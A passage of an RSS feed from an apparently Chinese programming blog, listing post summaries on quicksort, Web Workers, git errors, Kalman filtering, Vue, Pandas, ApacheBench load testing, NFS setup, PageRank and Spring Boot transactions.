&#34;json&#34;,&#xA;async: true,&#xA;success: function (result) {&#xA;function1();&#xA;function2();&#xA;}</description>
    </item>
    <item>
      <title>快速排序解析</title>
      <link>https://bchobby.github.io/posts/9acb848741f57fe3a76be168703473b8/</link>
      <pubDate>Sun, 01 Jul 2018 18:34:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9acb848741f57fe3a76be168703473b8/</guid>
      <description>快速排序解析 快速排序用到的知识点，递归，分制。&#xA;思想，如果将数列要从小到大的排列，先取一个数做为比较数a（一般取要数列或者拆开数列的第一个数，也看个人习惯），先从右往左找比a小的数据，并交换数据。交换完数据后，在交互数据的位置从左往右找比a大的数据，找到后，再交换数据。这算是一轮结束。这一轮结束后，左索引会将数组分成两半，然后将0到左索引与左索引到末尾变成两组数组，然后递归分制，上面的循环。直到每个数组的左索引和右索引相同了，说明这个数组就排好了。&#xA;算法担心的问题：一个数组被索引分开后，会担心前半部分的最大数会比后半部分的最小数要大。&#xA;解疑： 不会出现这样问题的，算法设计是（比如从小到大排），先从左边第一个作为比较数a,左索引为l=0,右索引为r=数组的长度。先从右索引往左找比a小的数，找不到就r--,直到在r1位置找到了比a小的数据，就将r1位置的与l位置的数据互换（此时l位置的数据就是0，也是比较数a,）换完之后此时，r1+1位置到r的位置都比a要大，上半轮结束。下半轮开始，从左索引（l）往右找比r1（此时的r1位置就是a）位置大的数，找不到就l++,直到在l1位置找到比r1位置大的数然后交换r1与l1位置的数，此时l1位置的数就是a,下半轮结束。这一轮结束后，这个数列从0位置到l1位置的数都是比l1位置的数（即a）都小或等于（等于性质放在左右边都可以），然后从l1到末尾的数都是比l1位置（即a）都大的数。这样由l1位置将这个数组分成两组（不拆数组），每组进行单独排序（分制递归）。就可保障这个数组从小到大排列。&#xA;代码实现 package src.main.lib; public class 快速排序 { public static void main(String[] args) { int[] arr = { 5, 9, 7, 4, 3, 5, 1, 6 }; // int[] arr = {5,9,7}; quick_sort(arr, 0, 7); } // 快速排序 public static void quick_sort(int s[], int l, int r) { // int[] arr = {5,9,7,4}; if (l &amp;lt; r) { // Swap(s[l], s[(l + r) / 2]); //将中间的这个数和第一个数交换 参见注1 int i = l, j = r, x = s[l]; while (i &amp;lt; j) { while (i &amp;lt; j &amp;amp;&amp;amp; s[j] &amp;gt;= x) { // 从右向左找第一个小于x的数 j--; } if (i &amp;lt; j) { int temp = s[i]; s[i] = s[j]; s[j] = temp; i++; } System.</description>
    </item>
    <item>
      <title>Web Worker API</title>
      <link>https://bchobby.github.io/posts/79b73024bd0aebacdde8efd7c9057dca/</link>
      <pubDate>Sun, 01 Jul 2018 14:37:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79b73024bd0aebacdde8efd7c9057dca/</guid>
      <description>简介 Web Worker可以理解为js在后台线程中运行的方法，它可以执行js代码而不阻塞用户UI界面。一个Web Worker可以将消息发送到创建它的JavaScript代码（只要运行在同源的父页面中，workers可以依次生成新的workers）, 反之也可以从主线程接收消息&#xA;注意：worker运行在另一个全局上下文中,不同于当前的window。因此，使用window快捷方式获取当前全局的范围，在一个Worker内将返回错误（直接访问你需要访问的属性即可！如：console而不是window.console）。&#xA;worker中可用函数和接口 在WebWorker中有些方法和属性是不能被访问的，比如BOM的一些API和DOM相关的一些API，localStorage，SessionStorage等，但是大部分的window对象是可以被访问的比如：Websocket，XMLHttpRequest（同样不能跨域☹）Console Api，Array，Date，Math，String等等，就是说涉及到页面操作和页面中的对象统统不能被访问，它的应用场景是替代主线程执行需要消耗页面性能的代码。这里有一份关于WebWorker允许访问的方法及属性清单&#xA;主要wroker类型 常用worker为专用worker（仅在单一脚本中被使用）和共享worker（以同时被多个脚本使用）；DedicatedWorkerGlobalScope和SharedWorkerGlobalScope对象分别代表它们的上下文&#xA;使用 为了更好的错误处理控制及向下兼容需要做些兼容检测&#xA;if (window.Worker) { some codes ... } 生成Worker 调用Worker()构造函数创建一个Worker对象，该对象接收指定的URL脚本（脚本必须遵守同源策略否则将抛出错误）&#xA;var myWorker = new Worker(&#39;worker.js&#39;); 数据传递 主线程和worker线程都使用postMessage()方法发送各自的消息，使用onmessage事件处理函数来响应消息（消息被包含在Message事件的data属性中），这个过程中数据并不是被共享而是被复制。在主线程中使用时，onmessage和postMessage() 必须挂在worker对象上，而在worker中使用时不用这样做。原因是，在worker内部，worker是有效的全局作用域。&#xA;/*主线程*/ //发送数据至worker myWorker.postMessage(&#39;can you hear me?&#39;); //从worker线程监听接收数据 myWorker.onmessage = function(e) { console.log(e.data);//&#39;I can hear you！&#39; } /*worker线程*/ //从主线程监听接收数据 onmessage = function(e) { console.log(e.data);//&#39;can you hear me?&#39; //发送数据至worker e.data &amp;amp;&amp;amp; postMessage(&#39;I can hear you！&#39;); } 终止worker 如果你需要从主线程中立刻终止一个运行中的worker，可以调用worker的terminate方法：&#xA;myWorker.terminate();//worker 线程会被立即杀死 在worker线程中，workers 也可以调用自己的close方法进行关闭：</description>
    </item>
    <item>
      <title>git did not exit cleanly (exit code 128)  的解决办法</title>
      <link>https://bchobby.github.io/posts/c16d544600e985f2d7f8d9429d8643e0/</link>
      <pubDate>Sun, 01 Jul 2018 11:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c16d544600e985f2d7f8d9429d8643e0/</guid>
      <description>问题描述：&#xA;在新建一个空的本地git仓库后，打算将远程仓库中的代码Pull到本地时异常，具体异常内容如下：&#xA;git.exe pull --progress -v --no-rebase &#34;origin&#34; master&#xA;POST git-upload-pack (275 bytes)&#xA;remote: Counting objects: 7, done.&#xA;remote: Compressing objects: 100% (6/6), done.&#xA;warning: no common commits&#xA;remote: Total 7 (delta 0), reused 3 (delta 0), pack-reused 0&#xA;From https://github.com/Jackson-AndyLau/CMSManager&#xA;* branch master -&amp;gt; FETCH_HEAD&#xA;* [new branch] master -&amp;gt; origin/master&#xA;fatal: refusing to merge unrelated histories&#xA;git did not exit cleanly (exit code 128) (4469 ms @ 2018-07-01 11:13:35)</description>
    </item>
    <item>
      <title>git did not exit cleanly (exit code 1)  的解决办法</title>
      <link>https://bchobby.github.io/posts/e534b23ca4837a2a72fe83a290f1fd9f/</link>
      <pubDate>Sun, 01 Jul 2018 10:53:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e534b23ca4837a2a72fe83a290f1fd9f/</guid>
      <description>问题描述：&#xA;关于Git的使用，在通常情况下，习惯于先在本地创建一个本地仓库，然后将项目提交到本地master，再将本地master中的项目Push 到远程仓库中，这样问题就来了。&#xA;具体错误信息如下：&#xA;git.exe push --progress &#34;origin&#34; master&#xA;To https://github.com/Jackson-AndyLau/CMSManager.git&#xA;! [rejected] master -&amp;gt; master (non-fast-forward)&#xA;error: failed to push some refs to &#39;https://github.com/Jackson-AndyLau/CMSManager.git&#39;&#xA;hint: Updates were rejected because the tip of your current branch is behind&#xA;hint: its remote counterpart. Integrate the remote changes (e.g.&#xA;hint: &#39;git pull ...&#39;) before pushing again.&#xA;hint: See the &#39;Note about fast-forwards&#39; in &#39;git push --help&#39; for details.&#xA;git did not exit cleanly (exit code 1) (12359 ms @ 2018-07-01 09:41:24)</description>
    </item>
    <item>
      <title>【感知】卡尔曼滤波与目标追踪</title>
      <link>https://bchobby.github.io/posts/bf7ff4aea8a3dc4d37ce59d55f9c3b5a/</link>
      <pubDate>Sat, 30 Jun 2018 17:50:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf7ff4aea8a3dc4d37ce59d55f9c3b5a/</guid>
      <description>作者简介：申泽邦（Adam Shan），兰州大学在读硕士研究生，主攻无人驾驶，深度学习；&#xA;本文来源：http://blog.csdn.net/AdamShan/article/details/78248421&#xA;首先我将带大家了解无人驾驶汽车系统感知模块的重要技术——卡尔曼滤波，卡尔曼滤波部分我打算分三节（三次博客的内容）：&#xA;卡尔曼滤波与行人状态估计扩展卡尔曼滤波（EKF）与传感器融合处理模型，无损卡尔曼滤波（UKF）与车辆状态轨迹 本节为卡尔曼滤波，主要讲解卡尔曼滤波的具体推导，卡尔曼滤波在行人状态估计中的一个小例子。&#xA;为什么要学卡尔曼滤波？ 卡尔曼滤波以及其扩展算法能够应用于目标状态估计，如果这个目标是行人，那么就是行人状态估计（或者说行人追踪），如果这个目标是自身，那么就是车辆自身的追踪（结合一些地图的先验，GPS等数据的话就是自身的定位）。在很多的无人驾驶汽车项目中，都能找到卡尔曼滤波的扩展算法的身影（比如说EKF，UKF等等）。本节我们从最简单的卡尔曼滤波出发，完整的理解一遍卡尔曼滤波的推导过程，并实现一个简单的状态估计Python程序。&#xA;卡尔曼滤波是什么？ 我们通常要对一些事物的状态去做估计，为什么要做估计呢？因为我们通常无法精确的知道物体当前的状态。为了估计一个事物的状态，我们往往会去测量它，但是我们不能完全相信我们的测量，因为我们的测量是不精准的，它往往会存在一定的噪声，这个时候我们就要去估计我们的状态。卡尔曼滤波就是一种结合预测（先验分布）和测量更新（似然）的状态估计算法。&#xA;一些概率论的知识基础 下面是一些概率论的基础知识，如果之前有这方面的知识储备那当然是最好的，很有利于我们理解整个博客内容，如果没有这方面的基础而且也看不懂下面的内容也没关系，我会以一个相对直观的方式来展现整个理论部分。&#xA;先验概率 P(X)：仅仅依赖主观上的经验，事先根据已有的只是的推断后验概率 P(X|Z)：是在相关证据或者背景给定并纳入考虑以后的条件概率似然 P(Z|X)：已知结果区推测固有性质的可能性 贝叶斯公式：&#xA;P ( A ∣ B ) = P ( A ) × P ( B ∣ A ) P ( B ) P(A|B)=\frac{P(A)×P(B|A)}{P(B)} P(A∣B)=P(B)P(A)×P(B∣A)​&#xA;后验分布正比于先验分布乘以似然。&#xA;卡尔曼滤波完整推导 一个简单的例子 若干年后，我们的可回收火箭要降落到地球，我们比较关心的状态就是我们的飞行器的高度了，飞行器的高度就是我们想要估计的状态，我们会通过一些传感器去测量我们当前的高度信息，比如说使用气压计。假如我们每一次测量，当前高度都变成上一次测量的 95%，那么我们就可以得到如下关系：&#xA;H e i g h t ( t ) = 0.95 × H e i g h t ( t − 1 ) Height^{(t)}=0.</description>
    </item>
    <item>
      <title>Vue里this指向</title>
      <link>https://bchobby.github.io/posts/20d28fd85dc87a11f34bcdaf05c561a3/</link>
      <pubDate>Sat, 30 Jun 2018 15:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d28fd85dc87a11f34bcdaf05c561a3/</guid>
      <description>一、普通函数中的this 这是vue文档里的原话：&#xA;All lifecycle hooks are called with their &#39;this&#39; context pointing to the Vue instance invoking it.&#xA;意思是：在Vue所有的生命周期钩子方法（如created，mounted， updated以及destroyed）里使用this，this指向调用它的Vue实例，即（new Vue）。 &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;button class=&#34;btn btn-primary&#34; v-on:click=&#34;on()&#34;&amp;gt;点击添加并查看this&amp;lt;/button&amp;gt; &amp;lt;ul class=&#34;list-group&#34; v-for=&#34;item in list&#34;&amp;gt; &amp;lt;li class=&#34;list-group-item&#34;&amp;gt;{{item}}&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; new Vue({ el: &#34;#app&#34;, data: { list: [&#34;banner&#34;, &#34;orange&#34;, &#34;apple&#34;] }, methods: { on: function() { alert(this.list); this.list.push(&#34;Potato&#34;) } }) &amp;lt;/script&amp;gt; 实例：这里的this指向的是new Vue这个对象。new Vue也可以写成var C=new Vue({}).所以这里的this指向的是C。&#xA;二、箭头函数中的this&#xA;箭头函数没有自己的this, 它的this是继承而来; 默认指向在定义它时所处的对象(宿主对象),而不是执行时的对象, 定义它的时候,可能环境是window; 箭头函数可以方便地让我们在 setTimeout ,setInterval中方便的使用this。</description>
    </item>
    <item>
      <title>Pandas Nan &amp; None 处理</title>
      <link>https://bchobby.github.io/posts/5c6ae104ca6d7d0c8cb6900b723e180b/</link>
      <pubDate>Fri, 29 Jun 2018 15:46:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c6ae104ca6d7d0c8cb6900b723e180b/</guid>
      <description> 在处理数据的时候遇到这个问题。&#xA;数据库里的值 是null 然后读取数据库后得到的dataframe 里显示的事None.&#xA;想把这些None 装换成0.0 但是试过很多方法都不奏效。&#xA;使用过&#xA;df[&#39;PLANDAY&#39;].replace(&#39;None&#39;,0) 未奏效&#xA;这个判断句是生效的&#xA;df.loc[0,&#39;PLANDAY&#39;] is None:后来发现这个数据类型是Nan 不是None 因此使用解决了上诉问题。&#xA;df[&#39;PLANDAY&#39;] = df[&#39;PLANDAY&#39;].fillna(0.0) </description>
    </item>
    <item>
      <title>如何快速查看颜色的RGB或者十六进制代码(QQ截图，最方便)</title>
      <link>https://bchobby.github.io/posts/e9ae89fdbcf3edabe6c3cb237a8a7f97/</link>
      <pubDate>Fri, 29 Jun 2018 14:25:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9ae89fdbcf3edabe6c3cb237a8a7f97/</guid>
      <description>作为一个前端人员经常用的就是查看颜色的十六进制，虽然能够使用ps查看，但是把图片载入ps就比较麻烦了，或者安装一个软件每次使用打开也很麻烦。其实qq截图就能够实现这些需求，相信很多人电脑都有qq的，而且工作时qq也是在线的！&#xA;快捷键是Ctrl+Alt+A&#xA;然后发现光标下就有 rgb(); 三原色格式的&#xA;如果想查看十六进制的格式，按完Ctrl+Alt+A快捷键之后按住 Ctrl 光标下就显示为十六进制的颜色代码。&#xA;如果对你有帮助的话，给我点个赞，让我分享一些技术的时候更有动力。&#xA;另外我建了一个公众号，会不时分享前端的一些技术，或者遇到的难题和解决办法，欢迎大家关注。&#xA;搜索：钱端工程师 或 Money-end-engineer 或 扫描下方图片</description>
    </item>
    <item>
      <title>Error: No PostCSS Config found in... 报错 解决方法</title>
      <link>https://bchobby.github.io/posts/0440eee645ba93404188a576f7720512/</link>
      <pubDate>Fri, 29 Jun 2018 11:17:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0440eee645ba93404188a576f7720512/</guid>
      <description> 项目clone下来后，在本地怎么也运行不起来，总是报错 后来终于找到了解决方法，成功运行。 解决方案: 在项目根目录新建postcss.config.js文件，并对postcss进行配置：&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } 然后npm run dev,果然成功运行 原因：postcss.config.js是针对webpack3.0做的特殊处理 </description>
    </item>
    <item>
      <title>基于神经网络的意图识别 - 基础版</title>
      <link>https://bchobby.github.io/posts/5aad33bea7db7feb2164aa1471ae7dd9/</link>
      <pubDate>Fri, 29 Jun 2018 08:51:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aad33bea7db7feb2164aa1471ae7dd9/</guid>
      <description>Github: https://github.com/yjfiejd/Text_Classification_NN/blob/master/text_classification_6.28.py # -*- coding:utf8 -*- # @TIME : 2018/6/28 下午10:34 # @Author : Allen # @File : text_classification_6.28.py import nltk from nltk.stem.lancaster import LancasterStemmer import os import json import datetime stemmer = LancasterStemmer() #3种意图 training_data = [] training_data.append({&#34;class&#34;:&#34;greeting&#34;, &#34;sentence&#34;:&#34;how are you?&#34;}) training_data.append({&#34;class&#34;:&#34;greeting&#34;, &#34;sentence&#34;:&#34;how is your day&#34;}) training_data.append({&#34;class&#34;:&#34;greeting&#34;, &#34;sentence&#34;:&#34;good day&#34;}) training_data.append({&#34;class&#34;:&#34;greeting&#34;, &#34;sentence&#34;:&#34;how is it going today?&#34;}) training_data.append({&#34;class&#34;:&#34;goodbye&#34;, &#34;sentence&#34;:&#34;have a nice day&#34;}) training_data.append({&#34;class&#34;:&#34;goodbye&#34;, &#34;sentence&#34;:&#34;see you later&#34;}) training_data.append({&#34;class&#34;:&#34;goodbye&#34;, &#34;sentence&#34;:&#34;have a nice day&#34;</description>
    </item>
    <item>
      <title>[Matlab] Simulink 串口接收详解1</title>
      <link>https://bchobby.github.io/posts/439f7b093b6a778a35984d60f188d255/</link>
      <pubDate>Fri, 29 Jun 2018 04:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/439f7b093b6a778a35984d60f188d255/</guid>
      <description>原创文章，欢迎转载。转载请注明：转载自 祥的博客&#xA;原文链接：https://blog.csdn.net/humanking7/article/details/80851223&#xA;1. 接收uint8数据 1.1. 接收端设置 2. 接收double数据 2.1. 接收端设置2.2. 发送端设置 3.模块讲解 3.1. 模块 Serial Receive3.2. 模块 Serial Configuration 3. 接收更加复杂的情况4.程序下载 1. 接收uint8数据 用串口调试助手给 Matlab 发送两个字节a和A，用ASCII码展示就是97和65。&#xA;1.1. 接收端设置 因为发送方只发送了2个uint8类型的数据，所以设置如下：&#xA;2. 接收double数据 我用Qt写了一个串口发送程序(上图右)，这个程序的单值测试发送程序是一次发送2个double类型的数据，用的是union进行发送，实际上就是一次发送16个uint8 数据( 1个double占用8个字节)。&#xA;2.1. 接收端设置 主要是对于Data type进行了修改，现在我们传的的是uint8 buf[16] ，但是其意义是两个double类型的数值（double num[2]）。&#xA;对于Serial Receive模块的设置，其实是让这个模块完成了两件事情：&#xA;接收数据。数据只有2个；解析数据。这两个数据是double类型的，也就是接收了16个uint8类型的数据，然后解析为2个double类型的数据。 2.2. 发送端设置 //-------------------- // 发送类型数据定义 //-------------------- typedef union { char buf[16];//用于发送和接收 double number[2];//用于解码 }Un_sendData; //-------------------- // 发送部分代码展示 //-------------------- qint64 ret, len; Un_sendData sendData; double num1, num2; //获取两个数值 num1 = ui.</description>
    </item>
    <item>
      <title>linux 下ab压力测试</title>
      <link>https://bchobby.github.io/posts/6a36b99682eeaea94cd1141ac2ef3e30/</link>
      <pubDate>Thu, 28 Jun 2018 20:36:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a36b99682eeaea94cd1141ac2ef3e30/</guid>
      <description>ab的简介 ab是apachebench命令的缩写。&#xA;ab是apache自带的压力测试工具。ab非常实用，它不仅可以对apache服务器进行网站访问压力测试，也可以对或其它类型的服务器进行压力测试。比如nginx、tomcat、IIS等。&#xA;ab的原理 ab的原理：ab命令会创建多个并发访问线程，模拟多个访问者同时对某一URL地址进行访问。它的测试目标是基于URL的，因此，它既可以用来测试apache的负载压力，也可以测试nginx、lighthttp、tomcat、IIS等其它Web服务器的压力。&#xA;ab命令对发出负载的计算机要求很低，它既不会占用很高CPU，也不会占用很多内存。但却会给目标服务器造成巨大的负载，其原理类似CC攻击。自己测试使用也需要注意，否则一次上太多的负载。可能造成目标服务器资源耗完，严重时甚至导致死机。&#xA;ab的安装 yum -y install httpd-tools 测试安装是否成功： [root@vic html]# ab -V This is ApacheBench, Version 2.3 &amp;lt;$Revision: 655654 $&amp;gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ ab的参数说明 [root@vic html]# ab --help ab: wrong number of arguments Usage: ab [options] [http[s]://]hostname[:port]/path Options are: -n requests Number of requests to perform -c concurrency Number of multiple requests to make -t timelimit Seconds to max.</description>
    </item>
    <item>
      <title>Linux下部署NFS服务   (*￣︶￣)</title>
      <link>https://bchobby.github.io/posts/bfc1ff0273adc1a88f52f46d3ac09c1c/</link>
      <pubDate>Thu, 28 Jun 2018 12:35:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfc1ff0273adc1a88f52f46d3ac09c1c/</guid>
      <description>一 、 NFS 简介和架构图 NFS是Network File System的缩写，即网络文件系统。一种使用于分散式文件协定，功能是通过网络让不同的机器、不同的操作系统能够分享个人数据，让应用程序通过网络可以访问位于服务器磁盘中的数据。 NFS在文件传送或信息传送的过过程中，依赖于RPC协议。RPC，远程过程调用（Remote Procedure Call）,是使客户端能够执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的，但NFS却能让我们通过网络进行资料的分享，就是因为NFS使用了RPC提供的传输协议，可以说NFS就是使用PRC的一个程序。&#xA;NFS 存储 服务器主要用于用户上传的数据 ，图片 音频 、等信息 NFS服务端、RPC协议、客户端三者可以理解为房源、中介、租客之间的关系： 二、NFS 适用场景 ； 2.1 NFS 最好是部署在局域网 ，不要在公网上 ； 2.2 NFS 只能在 linux 上使用 （如果想让 windows 和 Linux 之间实现数据共享建议使用 FTP 或者 samba）； 2.3 NFS 适合在中小型企业使用 ； ② ，大型网站不会用 NFS 的， 用的都是 分布式存储 ====================================&#xA;三、 NFS 服务端干的三件事 ；&#xA;NFS 客户端干的三件事 ；&#xA;==========================NFS 部署 环境准备=========================&#xA;四 、 服务端配置&#xA;4.1 环境准备2台 CentOS 6.9 ，IP可以自定义 ；&#xA;[root@NFS ~]# cat /etc/redhat-release CentOS release 6.</description>
    </item>
    <item>
      <title>《Graph Learning》| 图传播算法（上）</title>
      <link>https://bchobby.github.io/posts/01c83995cfa03089fbc8c433d58a6c35/</link>
      <pubDate>Thu, 28 Jun 2018 09:26:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01c83995cfa03089fbc8c433d58a6c35/</guid>
      <description>从本章开始，我们就会陆续讲一些图算法。本文首先给大家聊一聊图传播算法，对于图传播算法，并没有确切的定义，但是这类算法都有着十分明确和统一的范式，理解了这一范式之后，就能迅速掌握此类算法。&#xA;给定图G={V,E}，V表示节点集合，E表示边集合，设N(Vi)表示节点Vi的邻居节点构成的集合，若G为有向图：&#xA;其中Nin(Vi)表示Vi的入边节点集合，Nout(Vi)表示Vi的出边节点集合。&#xA;假设我们对Vi节点的衡量指标表示为Rvi（比如后面会具体谈到的指标PageRank值、hub值、Authority值等）衡量指标的更新规则为函数f，则图传播算法的一般步骤执行如下：&#xA;1、初始化Rvi&#xA;2、While（不满足停止条件）&#xA;3、&#xA;上述步骤的核心在于第三行中的更新函数f，一般来说f具有以下两个特点：&#xA;a. f是无参的，就是说f是直接进行量化计算的，不需要参数学习过程。这样的特点就决定了f的设计需要十分精巧，符合一定的基本经验直觉，总结来说就是：&#xA;b. f是作用在节点一阶邻域上的。这一点是很多以节点为中心的算法的共同特点，每一次节点在更新过程中，只有邻居节点参与运算，但是随着更新次数的增加，信息的流通也变得更Global。&#xA;另外，停止条件一般选取一个最大的迭代轮数或者Rvi不再变化。下面，我们结合4个经典的图传播算法来看看该范式是怎么发挥实际作用的。&#xA;第一个：PageRank&#xA;如果将每一个网页都抽象成一个节点，网页A有链接指向B，则存在一条有向边从节点A指向节点B，那么整个Web网页就抽象成为一张有向图。PageRank算法要做的就是对图中的每个节点进行重要性排名。&#xA;经验假设：&#xA;数量假设——被更多网页链接到的网页更重要；&#xA;权重假设——有更少外链的网页将会传递更高的权重。&#xA;数量假设表示重要性的计算是加和的，权重假设是说重要性的计算是加权的，因此，如果要量化重要性的计算，其在数学形式上一定是加权求和的。&#xA;下面我们直接给出更新函数的向量化形式：&#xA;Rvi表示节点Vi的重要度排名&#xA;Vj的权重&#xA;下面我们举个经典的例子来说明PageRank算法是怎么计算的。假设有A,B,C,D四个网页，其构成的有向图如下：&#xA;邻接矩阵&#xA;Adj(ij)=1,则表示有节点从j指向节点i的边，对Adj按列进行归一化得到：&#xA;我们称M为转移矩阵（Transition,Matrix）Mij表示从节点j跳转到节点i的概率，可以看到：&#xA;初始时设每个网页的排名都是1/N&#xA;依据上面更新函数，将其写成矩阵形式则更新后：&#xA;之后，不断重复这个过程会发现，R最终是收敛的。这里我们需要注意到一个重要的性质，如果R初始化后加和为1，则R在之后的迭代过程中，R的加和永远保持为1，我们可以证明下：&#xA;R=MR，两边求和，我们看右边&#xA;Mcol为M矩阵列向量之和组成的向量，由M的定义可知，M矩阵每一列加和为1，所以这里Mcol是一个全1向量，因此：&#xA;由于R初始化后加和为1，则上式恒等于1。更严格来说，如果有向图是强连通的（任意两个节点之间至少存在一条路径可达），R的初始化加和为1，则可证明R是收敛的。实际上，Web网页并不是强连通的图，存在以下两种情况导致PageRank计算失败：&#xA;1、DeadEnds，有节点不存在外链。这会导致什么问题呢？我们举个例子：&#xA;D节点不存在任何外链，如果我们进行迭代计算，由于上面的性质可得：&#xA;可以看到，新得到的R的求和是不断减小的，这个过程如果一直不断迭代下去，R全部都会变成0，使得计算失效。&#xA;2、Spider traps：有些节点只存在指向自己的外链，这又会导致什么问题呢？同样举个例：&#xA;节点D只存在指向自己的外链，首先&#xA;符合R永远是加和为1的，但是注意&#xA;可以看到D的排名R4永远比上一轮大，因此计算下去会快速的发现最后D的R值为1，其他节点都为0。&#xA;在实际应用中，为了有效避免上述两个问题，会使用到一个小技巧，就是假设每个节点都有一个假想的外链指向其它任一节点，这样整个图就变成了一个强连通图了。当然，为了尽量不影响最终计算的PageRank值，节点通过假想外链传递的PageRank值会乘一个权重因子β，β一般取0.2或者更小。因此，实际中PageRank的更新公式变成了：&#xA;如果按照这个更新公式下去，每个页面都会得到一个合理的排名值。&#xA;关于其他的算法，我们会在下篇中继续介绍。&#xA;相关阅读：&#xA;《Graph Learning》| 第一章：缤纷的图世界&#xA;《浅析图卷积神经网络》&#xA;关注微信公众号geetest_jy 获取更多关于图学习的资料</description>
    </item>
    <item>
      <title>利用python计算个人所得税</title>
      <link>https://bchobby.github.io/posts/b51ccc7998863a7161dea53dcb8ee351/</link>
      <pubDate>Wed, 27 Jun 2018 22:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b51ccc7998863a7161dea53dcb8ee351/</guid>
      <description>1.算出应纳税所得额 应纳税所得额=扣除三险一金后月收入-扣除标准，&#xA;且三险一金缴纳 的基准工资上限为7662 ；超过，就按照7662缴纳。&#xA;salary = int(input(&#39;工资&#39;)) if salary&amp;gt;=7662: money = salary - 7662 * 0.225 else: money = salary * 0.775 nashuie=money - 3500 2.计算个人所得税&#xA;因为有纳税所得额可能小于3500要先判断纳税所得额是否为负数；&#xA;若为正数根据公式：应纳个人所得税税额=全月应纳税所得额×适用税率-速算扣除数个税。&#xA;计算出个人所得税。&#xA;if nashuie&amp;lt;=0: print(&#39;null&#39;) else: if nashuie &amp;lt;= 1500: print(nashuie * 0.03) elif nashuie &amp;lt;= 4500: print(nashuie * 0.1 - 105) elif nashuie &amp;lt;= 9000: print(nashuie * 0.2 - 555) elif nashuie &amp;lt;= 35000: print(nashuie * 0.25 -1005) elif nashuie &amp;lt;= 55000: print(nashuie * 0.</description>
    </item>
    <item>
      <title>利用三局两胜制石头剪刀布练习python条件判断与循环</title>
      <link>https://bchobby.github.io/posts/4c93c6bff488237f6f6deb602f2c8805/</link>
      <pubDate>Wed, 27 Jun 2018 22:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c93c6bff488237f6f6deb602f2c8805/</guid>
      <description>以字符串&#39;石头&#39;,&#39;剪刀&#39;,&#39;布&#39;的方式计算出胜负，需把每种方法一一列举，此方法较为繁琐，因此我们用012分别代替石头剪刀布&#xA;我们需要分别将用户，电脑赢的次数，平局的计数，以便于我们通过他们计算出胜负平局。并且我们需要一个随机函数来模拟电脑所出的方式。因此可以先写出如下代码：&#xA;from random import randint user_win = 0 computer_win = 0 deuce = 0 我们需要进行三局游戏，所以需要通过for循环实现，并且要把游戏代码放入循环体中，游戏的胜负可以通过用户与电脑的差值计算得出。&#xA;for index ,value in enumerate(range(3)): user_num = input(&#39;012&#39;) user_num = int(user_num) computer_num = randint(0,2) sum = user_num - computer_num if sum == -1 or sum == 2: print(&#39;第{}局玩家胜&#39;.format(index + 1)) user_win += 1 elif sum == 0: print(&#39;第{}局平局&#39;.format(index + 1)) deuce += 1 else: print(&#39;第{}局电脑胜&#39;.format(index + 1)) computer_win += 1 print(&#39;--------------第{}局结束------------&#39;.format(index + 1)) 此时可以通过玩家与电脑的获胜次数来判断胜负，但此方法需要执行三次循环之后才能计算出，因此要写在循环体外：</description>
    </item>
    <item>
      <title>SpringBoot声明式事务的简单运用</title>
      <link>https://bchobby.github.io/posts/cd31817a92e2de37370fed22c297f4bf/</link>
      <pubDate>Wed, 27 Jun 2018 14:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd31817a92e2de37370fed22c297f4bf/</guid>
      <description>关于事物的基本概念等这里就不介绍了。&#xA;Spring声明式事物的实现，有两种方式；第一种是配置xml，第二种是使用相关注解(这两种方式可详见《程序员成长笔记(一)》的相关章节)。SpringBoot中默认配置了第二种方式，所以，SpringBoot直接使用注解即可。下面介绍SpringBoot通过注解开启事物的使用。&#xA;SpringBoot使用事物的步骤： 第一步：在启动类上开启事物支持&#xA;提示：@EnableTransactionManagement注解其实在大多数情况下，不是必须的，因为SpringBoot在&#xA;TransactionAutoConfiguration类里为我们自动配置启用了@EnableTransactionManagement注&#xA;解。不过自动启用该注解有两个前提条件，分别是：&#xA;@ConditionalOnBean(PlatformTransactionManager.class)&#xA;和@ConditionalOnMissingBean(AbstractTransactionManagementConfiguration.class)，而一&#xA;般情况下，这两个条件都是满足的，所以一般的，我们在启动类上写不写&#xA;@EnableTransactionManagement都行。本人这里还是建议写出来。&#xA;第二步：在业务逻辑层接口的实现类中的相关方法上声明事物&#xA;给出Transactional 注解的常用属性表： 属性&#xA;说明&#xA;propagation&#xA;事务的传播行为，默认值为 REQUIRED。&#xA;isolation&#xA;事务的隔离度，默认值采用 DEFAULT&#xA;timeout&#xA;事务的超时时间，默认值为-1，不超时。&#xA;如果设置了超时时间(单位秒)，那么如果超过该时间限制了但事务还没有完成，则自动回滚事务。&#xA;read-only&#xA;指定事务是否为只读事务，默认值为 false；为了忽略那些不需要事务的方法，比如读取数据，可以设置 read-only 为 true。&#xA;rollbackFor&#xA;用于指定能够触发事务回滚的异常类型，如果有多个异常类型需要指定，各类型之间可以通过逗号分隔。{xxx1.class, xxx2.class,……}&#xA;noRollbackFor&#xA;抛出 no-rollback-for 指定的异常类型，不回滚事务。{xxx1.class, xxx2.class,……}&#xA;……&#xA;注意事项： 